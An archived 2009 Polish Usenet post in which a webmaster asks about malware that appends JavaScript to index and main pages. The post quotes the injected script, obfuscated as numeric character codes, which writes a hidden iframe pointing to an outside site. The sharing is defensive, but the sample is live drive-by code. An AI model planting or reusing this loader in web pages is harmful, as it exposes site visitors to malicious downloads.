[ mallware doklejajacy zdalnie kod do stron ] - Grupy dyskusyjne w eGospodarka.pl

eGospodarka.pl › Grupy › pl.internet.polip › [ mallware doklejajacy zdalnie kod do stron ] › [ mallware doklejajacy zdalnie kod do stron ]

Path: news-archive.icm.edu.pl!newsfeed.gazeta.pl!news.task.gda.pl!newsfeed00.sul.t-on
line.de!t-online.de!border2.nntp.dca.giganews.com!nntp.giganews.com!postnews.go
ogle.com!g38g2000yqd.googlegroups.com!not-for-mail
From: Matt Rutkowski <m...@g...com>
Newsgroups: pl.internet.polip
Subject: [ mallware doklejajacy zdalnie kod do stron ]
Date: Mon, 9 Feb 2009 02:46:10 -0800 (PST)
Organization: http://groups.google.com
Lines: 26
Message-ID: <3...@g...googlegroups.com>
NNTP-Posting-Host: 83.13.1.110
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: posting.google.com 1234176382 28329 127.0.0.1 (9 Feb 2009 10:46:22 GMT)
X-Complaints-To: g...@g...com
NNTP-Posting-Date: Mon, 9 Feb 2009 10:46:22 +0000 (UTC)
Complaints-To: g...@g...com
Injection-Info: g38g2000yqd.googlegroups.com; posting-host=83.13.1.110;
posting-account=hgNPwAoAAAARaMKubSnKNMN5kujuIbN-
User-Agent: G2/1.0
X-HTTP-UserAgent: Opera/9.50 (Windows NT 5.1; U; pl),gzip(gfe),gzip(gfe)
Xref: news-archive.icm.edu.pl pl.internet.polip:88924
[ ukryj nagłówki ]
Witam,

czy ktos spotkal sie z mallware ktore w nieznany mi dotad sposob
dokleja zdalnie nastepujacy kod javascript do stron o nazwie
index.php, index.html, main.html, main.php

-- kod --

<script language="JavaScript">function rkfg(jflq){return
String.fromCharCode(jflq);}var
ohhe="0601051021140971091010321151140990610391041161
1611205804704711511711210111410511111409710012204610
5110102111047111112105115047063116061049051039032119
1051001161040610390480390321041011051031041160610390
4803903211511612110810106103911810511510509810510810
5116121058032104105100100101110059039062060047105102
114097109101062";var
ifdm="";for(qhxk=0;qhxk<ohhe.length;qhxk+=3){ifdm+=r
kfg(ohhe.substr
(qhxk, 3));}window.status='Done';document.write(ifdm);</scr
ipt>


-- kod --

w/w kod tworzy ukryta iframe i laczy sie z adresem http://superioradz.info/opis/?t=13

--
Matt Rutkowski